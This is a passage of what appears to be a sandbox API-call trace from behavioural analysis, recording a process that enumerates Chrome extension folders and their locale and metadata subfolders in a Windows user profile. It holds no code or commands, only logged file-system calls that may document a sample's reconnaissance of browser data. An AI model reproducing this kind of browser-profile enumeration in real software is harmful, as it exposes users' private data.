lpOldMode=0x6cfe874) returned 1 [0069.815] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe8a8) returned 1 [0069.815] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\vi", nBufferLength=0x105, lpBuffer=0x6cfe3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\vi", lpFilePart=0x0) returned 0x7d [0069.815] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\vi\\*", lpFindFileData=0x6cfe5d0 | out: lpFindFileData=0x6cfe5d0) returned 0x6fd8a40 [0069.815] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe5e0 | out: lpFindFileData=0x6cfe5e0) returned 1 [0069.816] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe5e0 | out: lpFindFileData=0x6cfe5e0) returned 1 [0069.816] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe5e0 | out: lpFindFileData=0x6cfe5e0) returned 0 [0069.816] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0069.816] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe868) returned 1 [0069.816] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe874) returned 1 [0069.816] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_CN", nBufferLength=0x105, lpBuffer=0x6cfe3d8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_CN", lpFilePart=0x0) returned 0x80 [0069.816] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe81c) returned 1 [0069.816] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_CN" (normalized: "c:\\users\\kft6utqw\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_cn"), fInfoLevelId=0x0, lpFileInformation=0x6cfe898 | out: lpFileInformation=0x6cfe898*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf159cb00, ftCreationTime.dwHighDateTime=0x1d2e633, ftLastAccessTime.dwLowDateTime=0xf159cb00, ftLastAccessTime.dwHighDateTime=0x1d2e633, ftLastWriteTime.dwLowDateTime=0xf159cb00, ftLastWriteTime.dwHighDateTime=0x1d2e633, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.816] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe818) returned 1 [0069.816] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe8a8) returned 1 [0069.817] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_CN", nBufferLength=0x105, lpBuffer=0x6cfe3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_CN", lpFilePart=0x0) returned 0x80 [0069.817] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_CN\\*", lpFindFileData=0x6cfe5d0 | out: lpFindFileData=0x6cfe5d0) returned 0x6fd8a40 [0069.817] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe5e0 | out: lpFindFileData=0x6cfe5e0) returned 1 [0069.817] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe5e0 | out: lpFindFileData=0x6cfe5e0) returned 1 [0069.817] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe5e0 | out: lpFindFileData=0x6cfe5e0) returned 0 [0069.817] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0069.817] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe868) returned 1 [0069.817] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe874) returned 1 [0069.817] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe8a8) returned 1 [0069.817] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_CN", nBufferLength=0x105, lpBuffer=0x6cfe3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_CN", lpFilePart=0x0) returned 0x80 [0069.817] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_CN\\*", lpFindFileData=0x6cfe5d0 | out: lpFindFileData=0x6cfe5d0) returned 0x6fd8a40 [0069.817] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe5e0 | out: lpFindFileData=0x6cfe5e0) returned 1 [0069.818] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe5e0 | out: lpFindFileData=0x6cfe5e0) returned 1 [0069.818] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe5e0 | out: lpFindFileData=0x6cfe5e0) returned 0 [0069.818] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0069.818] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe868) returned 1 [0069.818] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe874) returned 1 [0069.818] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_TW", nBufferLength=0x105, lpBuffer=0x6cfe3d8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_TW", lpFilePart=0x0) returned 0x80 [0069.818] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe81c) returned 1 [0069.818] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_TW" (normalized: "c:\\users\\kft6utqw\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_tw"), fInfoLevelId=0x0, lpFileInformation=0x6cfe898 | out: lpFileInformation=0x6cfe898*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf159cb00, ftCreationTime.dwHighDateTime=0x1d2e633, ftLastAccessTime.dwLowDateTime=0xf159cb00, ftLastAccessTime.dwHighDateTime=0x1d2e633, ftLastWriteTime.dwLowDateTime=0xf159cb00, ftLastWriteTime.dwHighDateTime=0x1d2e633, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.818] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe818) returned 1 [0069.818] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe8a8) returned 1 [0069.818] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_TW", nBufferLength=0x105, lpBuffer=0x6cfe3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_TW", lpFilePart=0x0) returned 0x80 [0069.818] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_TW\\*", lpFindFileData=0x6cfe5d0 | out: lpFindFileData=0x6cfe5d0) returned 0x6fd8a40 [0069.818] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe5e0 | out: lpFindFileData=0x6cfe5e0) returned 1 [0069.819] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe5e0 | out: lpFindFileData=0x6cfe5e0) returned 1 [0069.819] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe5e0 | out: lpFindFileData=0x6cfe5e0) returned 0 [0069.819] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0069.819] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe868) returned 1 [0069.819] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe874) returned 1 [0069.819] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe8a8) returned 1 [0069.819] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_TW", nBufferLength=0x105, lpBuffer=0x6cfe3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_TW", lpFilePart=0x0) returned 0x80 [0069.819] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_TW\\*", lpFindFileData=0x6cfe5d0 | out: lpFindFileData=0x6cfe5d0) returned 0x6fd8a40 [0069.819] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe5e0 | out: lpFindFileData=0x6cfe5e0) returned 1 [0069.819] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe5e0 | out: lpFindFileData=0x6cfe5e0) returned 1 [0069.819] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe5e0 | out: lpFindFileData=0x6cfe5e0) returned 0 [0069.819] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0069.819] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe868) returned 1 [0069.819] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe874) returned 1 [0069.819] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe91c) returned 1 [0069.820] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales", nBufferLength=0x105, lpBuffer=0x6cfe434, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales", lpFilePart=0x0) returned 0x7a [0069.820] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\*", lpFindFileData=0x6cfe644 | out: lpFindFileData=0x6cfe644) returned 0x6fd8a40 [0069.820] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe654 | out: lpFindFileData=0x6cfe654) returned 1 [0069.820] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe654 | out: lpFindFileData=0x6cfe654) returned 1 [0069.820] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe654 | out: lpFindFileData=0x6cfe654) returned 1 [0069.820] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe654 | out: lpFindFileData=0x6cfe654) returned 1 [0069.820] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe654 | out: lpFindFileData=0x6cfe654) returned 1 [0069.820] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe654 | out: lpFindFileData=0x6cfe654) returned 1 [0069.820] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe654 | out: lpFindFileData=0x6cfe654) returned 1 [0069.820] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe654 | out: lpFindFileData=0x6cfe654) returned 1 [0069.821] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe654 | out: lpFindFileData=0x6cfe654) returned 1 [0069.821] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe654 | out: lpFindFileData=0x6cfe654) returned 1 [0069.821] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe654 | out: lpFindFileData=0x6cfe654) returned 1 [0069.821] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe654 | out: lpFindFileData=0x6cfe654) returned 1 [0069.821] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe654 | out: lpFindFileData=0x6cfe654) returned 1 [0069.821] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe654 | out: lpFindFileData=0x6cfe654) returned 1 [0069.821] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe654 | out: lpFindFileData=0x6cfe654) returned 1 [0069.821] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe654 | out: lpFindFileData=0x6cfe654) returned 1 [0069.821] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe654 | out: lpFindFileData=0x6cfe654) returned 1 [0069.821] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe654 | out: lpFindFileData=0x6cfe654) returned 1 [0069.822] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe654 | out: lpFindFileData=0x6cfe654) returned 1 [0069.822] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe654 | out: lpFindFileData=0x6cfe654) returned 1 [0069.823] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe654 | out: lpFindFileData=0x6cfe654) returned 1 [0069.823] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe654 | out: lpFindFileData=0x6cfe654) returned 1 [0069.823] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe654 | out: lpFindFileData=0x6cfe654) returned 1 [0069.823] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe654 | out: lpFindFileData=0x6cfe654) returned 1 [0069.823] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe654 | out: lpFindFileData=0x6cfe654) returned 1 [0069.823] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe654 | out: lpFindFileData=0x6cfe654) returned 1 [0069.823] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe654 | out: lpFindFileData=0x6cfe654) returned 1 [0069.823] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe654 | out: lpFindFileData=0x6cfe654) returned 1 [0069.824] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe654 | out: lpFindFileData=0x6cfe654) returned 1 [0069.824] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe654 | out: lpFindFileData=0x6cfe654) returned 1 [0069.824] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe654 | out: lpFindFileData=0x6cfe654) returned 1 [0069.824] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe654 | out: lpFindFileData=0x6cfe654) returned 1 [0069.824] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe654 | out: lpFindFileData=0x6cfe654) returned 1 [0069.824] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe654 | out: lpFindFileData=0x6cfe654) returned 1 [0069.824] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe654 | out: lpFindFileData=0x6cfe654) returned 1 [0069.824] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe654 | out: lpFindFileData=0x6cfe654) returned 1 [0069.825] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe654 | out: lpFindFileData=0x6cfe654) returned 1 [0069.825] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe654 | out: lpFindFileData=0x6cfe654) returned 1 [0069.825] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe654 | out: lpFindFileData=0x6cfe654) returned 1 [0069.825] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe654 | out: lpFindFileData=0x6cfe654) returned 1 [0069.825] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe654 | out: lpFindFileData=0x6cfe654) returned 1 [0069.825] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe654 | out: lpFindFileData=0x6cfe654) returned 1 [0069.825] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe654 | out: lpFindFileData=0x6cfe654) returned 1 [0069.825] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe654 | out: lpFindFileData=0x6cfe654) returned 0 [0069.825] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0069.825] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe8dc) returned 1 [0069.825] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe8e8) returned 1 [0069.826] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_metadata", nBufferLength=0x105, lpBuffer=0x6cfe44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_metadata", lpFilePart=0x0) returned 0x7b [0069.826] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe890) returned 1 [0069.826] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_metadata" (normalized: "c:\\users\\kft6utqw\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_metadata"), fInfoLevelId=0x0, lpFileInformation=0x6cfe90c | out: lpFileInformation=0x6cfe90c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf15c2c60, ftCreationTime.dwHighDateTime=0x1d2e633, ftLastAccessTime.dwLowDateTime=0xf1765b80, ftLastAccessTime.dwHighDateTime=0x1d2e633, ftLastWriteTime.dwLowDateTime=0xf1765b80, ftLastWriteTime.dwHighDateTime=0x1d2e633, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.826] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe88c) returned 1 [0069.827] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe91c) returned 1 [0069.827] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_metadata", nBufferLength=0x105, lpBuffer=0x6cfe434, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_metadata", lpFilePart=0x0) returned 0x7b [0069.827] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_metadata\\*", lpFindFileData=0x6cfe644 | out: lpFindFileData=0x6cfe644) returned 0x6fd8a40 [0069.827] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe654 | out: lpFindFileData=0x6cfe654) returned 1 [0069.827] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe654 | out: lpFindFileData=0x6cfe654) returned 1 [0069.827] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe654 | out: lpFindFileData=0x6cfe654) returned 1 [0069.827] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe654 | out: lpFindFileData=0x6cfe654) returned 0 [0069.827] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0069.827] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe8dc) returned 1 [0069.827] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe8e8) returned 1 [0069.827] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe91c) returned 1 [0069.827] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_metadata", nBufferLength=0x105, lpBuffer=0x6cfe434, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_metadata", lpFilePart=0x0) returned 0x7b [0069.828] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_metadata\\*", lpFindFileData=0x6cfe644 | out: lpFindFileData=0x6cfe644) returned 0x6fd8a40 [0069.828] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe654 | out: lpFindFileData=0x6cfe654) returned 1 [0069.828] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe654 | out: lpFindFileData=0x6cfe654) returned 1 [0069.828] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe654 | out: lpFindFileData=0x6cfe654) returned 1 [0069.828] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe654 | out: lpFindFileData=0x6cfe654) returned 0 [0069.828] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0069.828] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe8dc) returned 1 [0069.828] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe8e8) returned 1 [0069.828] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe990) returned 1 [0069.828] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0", nBufferLength=0x105, lpBuffer=0x6cfe4a8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0", lpFilePart=0x0) returned 0x71 [0069.828] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\*", lpFindFileData=0x6cfe6b8 | out: lpFindFileData=0x6cfe6b8) returned 0x6fd8a40 [0069.829] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe6c8 | out: lpFindFileData=0x6cfe6c8) returned 1 [0069.829] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe6c8 | out: lpFindFileData=0x6cfe6c8) returned 1 [0069.829] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe6c8 | out: lpFindFileData=0x6cfe6c8) returned 1 [0069.829] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe6c8 | out: lpFindFileData=0x6cfe6c8) returned 1 [0069.829] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe6c8 | out: lpFindFileData=0x6cfe6c8) returned 1 [0069.829] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe6c8 | out: lpFindFileData=0x6cfe6c8) returned 1 [0069.829] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe6c8 | out: lpFindFileData=0x6cfe6c8) returned 1 [0069.829] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe6c8 | out: lpFindFileData=0x6cfe6c8) returned 1 [0069.829] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe6c8 | out: lpFindFileData=0x6cfe6c8) returned 0 [0069.829] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0069.829] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe950) returned 1 [0069.829] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe95c) returned 1 [0069.830] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea04) returned 1 [0069.830] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap", nBufferLength=0x105, lpBuffer=0x6cfe51c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap", lpFilePart=0x0) returned 0x6b [0069.830] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\*", lpFindFileData=0x6cfe72c | out: lpFindFileData=0x6cfe72c) returned 0x6fd8a40 [0069.830] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe73c | out: lpFindFileData=0x6cfe73c) returned 1 [0069.830] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe73c | out: lpFindFileData=0x6cfe73c) returned 1 [0069.830] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe73c | out: lpFindFileData=0x6cfe73c) returned 0 [0069.830] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0069.830] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9c4) returned 1 [0069.830] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9d0) returned 1 [0069.830] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi", nBufferLength=0x105, lpBuffer=0x6cfe534, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi", lpFilePart=0x0) returned 0x6b [0069.830] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe978) returned 1 [0069.830] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi" (normalized: "c:\\users\\kft6utqw\\appdata\\local\\google\\chrome\\user 